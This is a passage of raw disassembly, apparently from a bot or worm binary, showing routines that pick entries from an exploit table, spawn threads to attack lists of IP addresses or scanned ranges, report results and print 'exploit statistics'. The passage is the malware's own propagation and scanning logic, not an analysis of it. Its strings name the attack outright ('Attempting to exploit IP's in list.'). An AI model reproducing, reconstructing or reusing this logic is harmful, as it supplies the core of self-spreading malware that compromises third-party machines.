call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_413444: ; CODE XREF: sub_41331E+C0j
; sub_41331E+100j
lea eax, [ebp+var_14C]
push eax
call [ebp+var_11A]
cmp [ebp+var_8A], 1
jnz short loc_41346F
push [ebp+var_10E]
push [ebp+var_14C]
call sub_412A3A
pop ecx
pop ecx
jmp short loc_41348A
; ---------------------------------------------------------------------------
loc_41346F: ; CODE XREF: sub_41331E+13Aj
cmp [ebp+var_8A], 2
jnz short loc_41348A
lea eax, [ebp+var_6]
push eax
lea eax, [ebp+var_86]
push eax
call sub_412BC9
pop ecx
pop ecx
loc_41348A: ; CODE XREF: sub_41331E+14Fj
; sub_41331E+158j
push [ebp+var_10E]
call sub_4053B1
pop ecx
xor eax, eax
locret_413498: ; CODE XREF: sub_41331E+5Ej
; sub_41331E+8Ej
leave
retn 4
sub_41331E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o
var_774 = qword ptr -774h
var_764 = qword ptr -764h
var_75C = byte ptr -75Ch
var_65C = byte ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_64C = byte ptr -64Ch
var_648 = byte ptr -648h
var_644 = dword ptr -644h
var_640 = byte ptr -640h
var_62C = dword ptr -62Ch
var_628 = dword ptr -628h
var_624 = byte ptr -624h
var_51C = byte ptr -51Ch
var_50E = dword ptr -50Eh
var_50A = dword ptr -50Ah
var_506 = dword ptr -506h
var_502 = byte ptr -502h
var_37B = byte ptr -37Bh
var_37A = byte ptr -37Ah
var_377 = byte ptr -377h
var_36B = byte ptr -36Bh
var_36A = byte ptr -36Ah
var_35C = dword ptr -35Ch
var_358 = dword ptr -358h
var_354 = byte ptr -354h
var_341 = byte ptr -341h
var_296 = dword ptr -296h
var_20C = byte ptr -20Ch
var_20B = byte ptr -20Bh
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_107 = byte ptr -107h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 764h
push edi
push 2C9h
push [ebp+arg_0]
lea eax, [ebp+var_628]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_51C]
push eax
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz short loc_4134F5
push 14Ch
push 0
lea eax, [ebp+var_358]
push eax
call sub_416B6A ; memset
add esp, 0Ch
jmp loc_4135BF
; ---------------------------------------------------------------------------
loc_4134F5: ; CODE XREF: sub_41349C+3Cj
and [ebp+var_62C], 0
jmp short loc_41350B
; ---------------------------------------------------------------------------
loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj
mov eax, [ebp+var_62C]
inc eax
mov [ebp+var_62C], eax
loc_41350B: ; CODE XREF: sub_41349C+60j
mov eax, [ebp+var_62C]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
push eax
lea eax, [ebp+var_640]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_640]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_640]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_4135BA
mov eax, [ebp+var_62C]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
mov [ebp+var_358], eax
push 3Ah
mov eax, [ebp+var_62C]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
push eax
lea eax, [ebp+var_354]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_354]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_341]
push eax
call sub_4105FB
pop ecx
and [ebp+var_296], 0
lea eax, [ebp+var_341]
push eax
lea eax, [ebp+var_51C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_4135BF
; ---------------------------------------------------------------------------
loc_4135BA: ; CODE XREF: sub_41349C+B0j
jmp loc_4134FE
; ---------------------------------------------------------------------------
loc_4135BF: ; CODE XREF: sub_41349C+54j
; sub_41349C+11Cj
lea eax, [ebp+var_624]
push eax
call sub_40806A
pop ecx
test eax, eax
jnz short loc_4135E3
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
jmp loc_413AAB
; ---------------------------------------------------------------------------
loc_4135E3: ; CODE XREF: sub_41349C+132j
mov al, byte_41DE30
mov [ebp+var_20C], al
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_20B]
rep stosd
stosw
stosb
mov al, byte_41DE30
mov [ebp+var_108], al
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_107]
rep stosd
stosw
stosb
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_624]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_407F3D
add esp, 0Ch
test eax, eax
jnz short loc_41364D
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
jmp loc_413AAB
; ---------------------------------------------------------------------------
loc_41364D: ; CODE XREF: sub_41349C+19Cj
push [ebp+var_506]
call sub_404D10
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_413675
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
jmp loc_413AAB
; ---------------------------------------------------------------------------
loc_413675: ; CODE XREF: sub_41349C+1C4j
cmp [ebp+var_358], 0
jz loc_413782
mov eax, [ebp+var_358]
mov eax, [eax+32h]
and eax, 1
test eax, eax
jz loc_413782
call sub_4042FB
mov [ebp+var_644], eax
cmp [ebp+var_644], 0
jz short loc_4136B6
mov [ebp+var_296], 2
jmp short loc_4136C0
; ---------------------------------------------------------------------------
loc_4136B6: ; CODE XREF: sub_41349C+20Cj
mov [ebp+var_296], 3
loc_4136C0: ; CODE XREF: sub_41349C+218j
movsx eax, [ebp+var_36B]
test eax, eax
jz short loc_4136E5
mov eax, [ebp+var_358]
mov eax, [eax+32h]
and eax, 2
test eax, eax
jnz short loc_4136E5
mov [ebp+var_296], 1
loc_4136E5: ; CODE XREF: sub_41349C+22Dj
; sub_41349C+23Dj
movsx eax, [ebp+var_37B]
test eax, eax
jz short loc_4136FA
mov [ebp+var_296], 2
loc_4136FA: ; CODE XREF: sub_41349C+252j
movsx eax, [ebp+var_37A]
test eax, eax
jz short loc_41370F
mov [ebp+var_296], 3
loc_41370F: ; CODE XREF: sub_41349C+267j
cmp [ebp+var_296], 3
jnz short loc_41372B
cmp [ebp+var_644], 0
jz short loc_41372B
mov [ebp+var_296], 2
loc_41372B: ; CODE XREF: sub_41349C+27Aj
; sub_41349C+283j
cmp [ebp+var_296], 3
jnz short loc_413782
mov al, [ebp+var_36A]
mov [ebp+var_64C], al
mov al, [ebp+var_377]
mov [ebp+var_648], al
mov [ebp+var_36A], 1
and [ebp+var_377], 0
push 0
lea eax, [ebp+var_502]
push eax
call sub_412F07
pop ecx
pop ecx
mov al, [ebp+var_64C]
mov [ebp+var_36A], al
mov al, [ebp+var_648]
mov [ebp+var_377], al
loc_413782: ; CODE XREF: sub_41349C+1E0j
; sub_41349C+1F4j ...
push offset dword_41E2D8
call sub_409C6C
pop ecx
push [ebp+var_50E]
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_624]
push eax
push offset dword_41CE78
mov eax, [ebp+var_628]
add eax, 14h
push eax
call sub_416B5E ; sprintf
add esp, 14h
push offset dword_41E2D8
call sub_409C7A
pop ecx
push [ebp+var_50E]
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_624]
push eax
mov eax, [ebp+var_628]
push dword ptr [eax]
push offset dword_41CE40
lea eax, [ebp+var_502]
push eax
call sub_40D53F
add esp, 18h
cmp [ebp+var_358], 0
jnz short loc_413807
push 3E8h
call ds:dword_41709C ; Sleep
loc_413807: ; CODE XREF: sub_41349C+35Ej
and [ebp+var_10C], 0
call sub_416B64 ; clock
mov [ebp+var_35C], eax
and [ebp+var_4], 0
loc_41381D: ; CODE XREF: sub_41349C+3F9j
; sub_41349C+44Bj ...
mov eax, [ebp+var_628]
cmp dword ptr [eax+4], 0
jnz short loc_413847
call sub_416B64 ; clock
add eax, [ebp+var_4]
sub eax, [ebp+var_35C]
mov ecx, [ebp+var_50E]
imul ecx, 3E8h
cmp eax, ecx
jb short loc_41384C
loc_413847: ; CODE XREF: sub_41349C+38Bj
jmp loc_413A43
; ---------------------------------------------------------------------------
loc_41384C: ; CODE XREF: sub_41349C+3A9j
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_624]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_407F3D
add esp, 0Ch
push offset dword_41EF48
lea eax, [ebp+var_20C]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_413897
jmp short loc_41381D
; ---------------------------------------------------------------------------
loc_413897: ; CODE XREF: sub_41349C+3F7j
push [ebp+var_8]
push 0
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_404FE7
add esp, 0Ch
push eax
call sub_404D4D
pop ecx
pop ecx
mov [ebp+var_650], eax
cmp [ebp+var_650], 0
jz short loc_4138EC
call sub_416B64 ; clock
add eax, [ebp+var_4]
sub eax, [ebp+var_35C]
mov ecx, [ebp+var_50E]
imul ecx, 3E8h
cmp eax, ecx
jnb short loc_4138EC
jmp loc_41381D
; ---------------------------------------------------------------------------
loc_4138EC: ; CODE XREF: sub_41349C+42Bj
; sub_41349C+449j
push [ebp+var_50A]
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_404E1C
pop ecx
test eax, eax
jz loc_413A35
loc_413909: ; CODE XREF: sub_41349C+4BAj
; sub_41349C:loc_413A30j
push [ebp+var_8]
call sub_404F24
pop ecx
mov [ebp+var_654], eax
cmp [ebp+var_654], 0
jnz short loc_413926
jmp loc_413A35
; ---------------------------------------------------------------------------
loc_413926: ; CODE XREF: sub_41349C+483j
mov eax, [ebp+var_10C]
inc eax
mov [ebp+var_10C], eax
cmp [ebp+var_358], 0
jz short loc_4139B7
push 14Ch
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_658], eax
cmp [ebp+var_658], 0
jnz short loc_413958
jmp short loc_413909
; ---------------------------------------------------------------------------
loc_413958: ; CODE XREF: sub_41349C+4B8j
push 14Ch
lea eax, [ebp+var_358]
push eax
push [ebp+var_658]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_658]
mov ecx, [ebp+var_654]
mov [eax+3Eh], ecx
push [ebp+var_658]
push offset sub_41331E
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_4139A5
push [ebp+var_658]
call sub_416B4C ; free
pop ecx
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139A5: ; CODE XREF: sub_41349C+4F9j
push [ebp+var_8]
push [ebp+var_654]
call sub_404D9B
pop ecx
pop ecx
loc_4139B5: ; CODE XREF: sub_41349C+507j
jmp short loc_413A30
; ---------------------------------------------------------------------------
loc_4139B7: ; CODE XREF: sub_41349C+49Ej
mov eax, [ebp+var_628]
cmp dword ptr [eax+4], 0
jz short loc_4139C5
jmp short loc_413A35
; ---------------------------------------------------------------------------
loc_4139C5: ; CODE XREF: sub_41349C+525j
lea eax, [ebp+var_75C]
push eax
push [ebp+var_654]
call sub_4044F7
pop ecx
pop ecx
mov al, [ebp+var_36A]
mov [ebp+var_65C], al
and [ebp+var_36A], 0
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_75C]
push eax
push offset dword_41CE2C
lea eax, [ebp+var_502]
push eax
call sub_40D53F
add esp, 10h
mov al, [ebp+var_65C]
mov [ebp+var_36A], al
push 3E8h
call ds:dword_41709C ; Sleep
mov eax, [ebp+var_4]
add eax, 3E8h
mov [ebp+var_4], eax
loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j
jmp loc_413909
; ---------------------------------------------------------------------------
loc_413A35: ; CODE XREF: sub_41349C+467j
; sub_41349C+485j ...
push [ebp+var_8]
call sub_404F7D
pop ecx
jmp loc_41381D
; ---------------------------------------------------------------------------
loc_413A43: ; CODE XREF: sub_41349C:loc_413847j
push [ebp+var_10C]
call sub_416B64 ; clock
sub eax, [ebp+var_35C]
mov dword ptr [ebp+var_764], eax
and dword ptr [ebp+var_764+4], 0
fild [ebp+var_764]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+774h+var_774]
lea eax, [ebp+var_51C]
push eax
lea eax, [ebp+var_624]
push eax
push offset unk_41CDE8
lea eax, [ebp+var_502]
push eax
call sub_40D53F
add esp, 1Ch
push [ebp+var_8]
call sub_404FD0
pop ecx
push [ebp+var_628]
call sub_409763
pop ecx
xor eax, eax
loc_413AAB: ; CODE XREF: sub_41349C+142j
; sub_41349C+1ACj ...
pop edi
leave
retn 4
sub_41349C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 34h
cmp [ebp+arg_4], 0
jz short loc_413AC2
cmp [ebp+arg_8], 0
jnz short loc_413AC7
loc_413AC2: ; CODE XREF: sub_413AB0+Aj
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413AC7: ; CODE XREF: sub_413AB0+10j
push [ebp+arg_8]
call sub_407A86
pop ecx
movzx eax, al
test eax, eax
jz short loc_413AEB
push [ebp+arg_8]
call sub_40422A
pop ecx
test eax, eax
jnz short loc_413AE9
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413AE9: ; CODE XREF: sub_413AB0+32j
jmp short loc_413B45
; ---------------------------------------------------------------------------
loc_413AEB: ; CODE XREF: sub_413AB0+25j
and [ebp+var_14], 0
jmp short loc_413AF8
; ---------------------------------------------------------------------------
loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j
mov eax, [ebp+var_14]
inc eax
mov [ebp+var_14], eax
loc_413AF8: ; CODE XREF: sub_413AB0+3Fj
mov eax, [ebp+var_14]
imul eax, 3Ah
movsx eax, byte ptr aJeP[eax] ; "†…ØÝ¯"
test eax, eax
jnz short loc_413B0E
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413B0E: ; CODE XREF: sub_413AB0+57j
mov eax, [ebp+var_14]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
push eax
lea eax, [ebp+var_28]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_28]
push eax
call sub_4105FB
pop ecx
push [ebp+arg_8]
lea eax, [ebp+var_28]
push eax
call sub_416F74 ; _stricmp
pop ecx
pop ecx
test eax, eax
jnz short loc_413B43
jmp short loc_413B45
; ---------------------------------------------------------------------------
loc_413B43: ; CODE XREF: sub_413AB0+8Fj
jmp short loc_413AF1
; ---------------------------------------------------------------------------
loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j
; sub_413AB0+91j
cmp [ebp+arg_C], 0
jz short loc_413B59
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_2C], eax
jmp short loc_413B60
; ---------------------------------------------------------------------------
loc_413B59: ; CODE XREF: sub_413AB0+99j
mov [ebp+var_2C], 15180h
loc_413B60: ; CODE XREF: sub_413AB0+A7j
mov eax, [ebp+var_2C]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_413B75
cmp [ebp+var_4], 15180h
jbe short loc_413B7C
loc_413B75: ; CODE XREF: sub_413AB0+BAj
mov [ebp+var_4], 15180h
loc_413B7C: ; CODE XREF: sub_413AB0+C3j
cmp [ebp+arg_10], 0
jz short loc_413B90
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_30], eax
jmp short loc_413B97
; ---------------------------------------------------------------------------
loc_413B90: ; CODE XREF: sub_413AB0+D0j
mov [ebp+var_30], 7D0h
loc_413B97: ; CODE XREF: sub_413AB0+DEj
mov eax, [ebp+var_30]
mov [ebp+var_C], eax
cmp [ebp+var_C], 32h
jb short loc_413BAC
cmp [ebp+var_C], 0EA60h
jbe short loc_413BB3
loc_413BAC: ; CODE XREF: sub_413AB0+F1j
mov [ebp+var_C], 7D0h
loc_413BB3: ; CODE XREF: sub_413AB0+FAj
cmp [ebp+arg_14], 0
jz short loc_413BC7
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_34], eax
jmp short loc_413BCE
; ---------------------------------------------------------------------------
loc_413BC7: ; CODE XREF: sub_413AB0+107j
mov [ebp+var_34], 100h
loc_413BCE: ; CODE XREF: sub_413AB0+115j
mov eax, [ebp+var_34]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_413BE3
cmp [ebp+var_10], 200h
jbe short loc_413BEA
loc_413BE3: ; CODE XREF: sub_413AB0+128j
mov [ebp+var_10], 100h
loc_413BEA: ; CODE XREF: sub_413AB0+131j
push 2C9h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_413C03
jmp locret_413CB1
; ---------------------------------------------------------------------------
loc_413C03: ; CODE XREF: sub_413AB0+14Cj
push 108h
push [ebp+arg_4]
mov eax, [ebp+var_8]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 0Eh
push [ebp+arg_8]
mov eax, [ebp+var_8]
add eax, 10Ch
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+11Ah], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+11Eh], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_10]
mov [eax+122h], ecx
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_8]
add eax, 126h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+var_10]
push [ebp+var_C]
mov eax, [ebp+var_8]
push dword ptr [eax+11Ah]
mov eax, [ebp+var_8]
add eax, 10Ch
push eax
mov eax, [ebp+var_8]
add eax, 4
push eax
push offset unk_41CEA4
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_8]
push offset sub_41349C
call sub_4095A4
add esp, 24h
locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j
; sub_413AB0+34j ...
leave
retn
sub_413AB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co
var_49C = dword ptr -49Ch
var_498 = byte ptr -498h
var_494 = byte ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = byte ptr -47Ch
var_469 = byte ptr -469h
var_3BE = dword ptr -3BEh
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = byte ptr -32Ch
var_1AC = byte ptr -1ACh
var_25 = byte ptr -25h
var_24 = byte ptr -24h
var_21 = byte ptr -21h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
push 327h
push [ebp+arg_0]
lea eax, [ebp+var_330]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov eax, [ebp+var_330]
push dword ptr [eax]
push offset unk_41CF50
lea eax, [ebp+var_1AC]
push eax
call sub_40D53F
add esp, 0Ch
and [ebp+var_334], 0
and [ebp+var_484], 0
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
lea eax, [ebp+var_32C]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_8], eax
loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j
mov eax, [ebp+var_334]
inc eax
mov [ebp+var_334], eax
and [ebp+var_488], 0
jmp short loc_413D44
; ---------------------------------------------------------------------------
loc_413D37: ; CODE XREF: sub_413CB3+23Bj
; sub_413CB3:loc_413F77j
mov eax, [ebp+var_488]
inc eax
mov [ebp+var_488], eax
loc_413D44: ; CODE XREF: sub_413CB3+82j
mov eax, [ebp+var_488]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz loc_413F7C
push 3Ah
mov eax, [ebp+var_488]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
push eax
lea eax, [ebp+var_47C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_488]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
mov [ebp+var_480], eax
lea eax, [ebp+var_47C]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_469]
push eax
call sub_4105FB
pop ecx
cmp [ebp+var_480], 0
jz loc_413E9A
mov eax, [ebp+var_480]
mov eax, [eax+32h]
and eax, 1
test eax, eax
jz loc_413E9A
call sub_4042FB
mov [ebp+var_490], eax
cmp [ebp+var_490], 0
jz short loc_413DE9
mov [ebp+var_3BE], 2
jmp short loc_413DF3
; ---------------------------------------------------------------------------
loc_413DE9: ; CODE XREF: sub_413CB3+128j
mov [ebp+var_3BE], 3
loc_413DF3: ; CODE XREF: sub_413CB3+134j
movsx eax, [ebp+var_15]
test eax, eax
jz short loc_413E15
mov eax, [ebp+var_480]
mov eax, [eax+32h]
and eax, 2
test eax, eax
jnz short loc_413E15
mov [ebp+var_3BE], 1
loc_413E15: ; CODE XREF: sub_413CB3+146j
; sub_413CB3+156j
movsx eax, [ebp+var_25]
test eax, eax
jz short loc_413E27
mov [ebp+var_3BE], 2
loc_413E27: ; CODE XREF: sub_413CB3+168j
movsx eax, [ebp+var_24]
test eax, eax
jz short loc_413E39
mov [ebp+var_3BE], 3
loc_413E39: ; CODE XREF: sub_413CB3+17Aj
cmp [ebp+var_3BE], 3
jnz short loc_413E55
cmp [ebp+var_490], 0
jz short loc_413E55
mov [ebp+var_3BE], 2
loc_413E55: ; CODE XREF: sub_413CB3+18Dj
; sub_413CB3+196j
cmp [ebp+var_3BE], 3
jnz short loc_413E9A
mov al, [ebp+var_14]
mov [ebp+var_498], al
mov al, [ebp+var_21]
mov [ebp+var_494], al
mov [ebp+var_14], 1
and [ebp+var_21], 0
push 0
lea eax, [ebp+var_1AC]
push eax
call sub_412F07
pop ecx
pop ecx
mov al, [ebp+var_498]
mov [ebp+var_14], al
mov al, [ebp+var_494]
mov [ebp+var_21], al
loc_413E9A: ; CODE XREF: sub_413CB3+FCj
; sub_413CB3+110j ...
movsx eax, [ebp+var_13]
neg eax
sbb eax, eax
and eax, 1388h
add eax, 1388h
push eax
push 0
lea eax, [ebp+var_469]
push eax
push [ebp+var_8]
call sub_4050EA
add esp, 10h
mov [ebp+var_48C], eax
cmp [ebp+var_48C], 0
jz loc_413F77
push 14Ch
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_49C], eax
cmp [ebp+var_49C], 0
jnz short loc_413EF3
jmp loc_413D37
; ---------------------------------------------------------------------------
loc_413EF3: ; CODE XREF: sub_413CB3+239j
push 14Ch
lea eax, [ebp+var_480]
push eax
push [ebp+var_49C]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_484]
inc eax
mov [ebp+var_484], eax
mov eax, [ebp+var_49C]
mov ecx, [ebp+var_48C]
mov [eax+3Eh], ecx
push [ebp+var_49C]
push offset sub_41331E
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_413F59
push [ebp+var_48C]
call sub_4053B1
pop ecx
push [ebp+var_49C]
call sub_416B4C ; free
pop ecx
jmp short loc_413F77
; ---------------------------------------------------------------------------
loc_413F59: ; CODE XREF: sub_413CB3+28Aj
lea eax, [ebp+var_47C]
push eax
push [ebp+var_8]
push offset dword_41CF20
lea eax, [ebp+var_1AC]
push eax
call sub_40D53F
add esp, 10h
loc_413F77: ; CODE XREF: sub_413CB3+21Bj
; sub_413CB3+2A4j
jmp loc_413D37
; ---------------------------------------------------------------------------
loc_413F7C: ; CODE XREF: sub_413CB3+A1j
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_413F9A
jmp short loc_413FAD
; ---------------------------------------------------------------------------
loc_413F9A: ; CODE XREF: sub_413CB3+2E3j
mov eax, [ebp+var_330]
cmp dword ptr [eax+4], 0
jz short loc_413FA8
jmp short loc_413FAD
; ---------------------------------------------------------------------------
loc_413FA8: ; CODE XREF: sub_413CB3+2F1j
jmp loc_413D21
; ---------------------------------------------------------------------------
loc_413FAD: ; CODE XREF: sub_413CB3+2E5j
; sub_413CB3+2F3j
push [ebp+var_334]
push [ebp+var_484]
mov eax, [ebp+var_330]
push dword ptr [eax]
push offset dword_41CEDC
lea eax, [ebp+var_1AC]
push eax
call sub_40D53F
add esp, 14h
push [ebp+var_330]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_413CB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jnz short loc_413FF3
jmp short locret_414050
; ---------------------------------------------------------------------------
loc_413FF3: ; CODE XREF: sub_413FE7+8j
push 327h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414009
jmp short locret_414050
; ---------------------------------------------------------------------------
loc_414009: ; CODE XREF: sub_413FE7+1Ej
push 180h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 184h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push offset aAttemptingToEx ; "Attempting to exploit IP's in list."
push 0
push [ebp+var_4]
push offset sub_413CB3
call sub_4095A4
add esp, 10h
locret_414050: ; CODE XREF: sub_413FE7+Aj
; sub_413FE7+20j
leave
retn
sub_413FE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414052 proc near ; DATA XREF: sub_41417D+35o
var_3C0 = dword ptr -3C0h
var_3BC = byte ptr -3BCh
var_225 = byte ptr -225h
var_224 = byte ptr -224h
var_218 = byte ptr -218h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3C0h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_3C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push offset aExploitStatist ; "Exploit statistics - "
lea eax, [ebp+var_200]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
and [ebp+var_204], 0
jmp short loc_4140A4
; ---------------------------------------------------------------------------
loc_414097: ; CODE XREF: sub_414052:loc_41414Aj
mov eax, [ebp+var_204]
inc eax
mov [ebp+var_204], eax
loc_4140A4: ; CODE XREF: sub_414052+43j
mov eax, [ebp+var_204]
imul eax, 3Ah
movsx eax, byte ptr aJeP[eax] ; "†…ØÝ¯"
test eax, eax
jz loc_41414F
push 12h
mov eax, [ebp+var_204]
imul eax, 3Ah
add eax, offset aJeP ; "†…ØÝ¯"
push eax
lea eax, [ebp+var_218]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_218]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_200]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
mov eax, [ebp+var_204]
imul eax, 3Ah
push dword_41CCFA[eax]
push offset dword_41CFA4
lea eax, [ebp+var_200]
push eax
call sub_416B40 ; strlen
pop ecx
lea eax, [ebp+eax+var_200]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
movsx eax, [ebp+var_225]
test eax, eax
jz short loc_41414A
mov eax, [ebp+var_204]
imul eax, 3Ah
and dword_41CCFA[eax], 0
loc_41414A: ; CODE XREF: sub_414052+E6j
jmp loc_414097
; ---------------------------------------------------------------------------
loc_41414F: ; CODE XREF: sub_414052+64j
and [ebp+var_224], 0
lea eax, [ebp+var_200]
push eax
lea eax, [ebp+var_3BC]
push eax
call sub_40D53F
pop ecx
pop ecx
push [ebp+var_3C0]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_414052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414197
jmp short locret_4141BF
; ---------------------------------------------------------------------------
loc_414197: ; CODE XREF: sub_41417D+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aListingExploit ; "Listing exploit statistics"
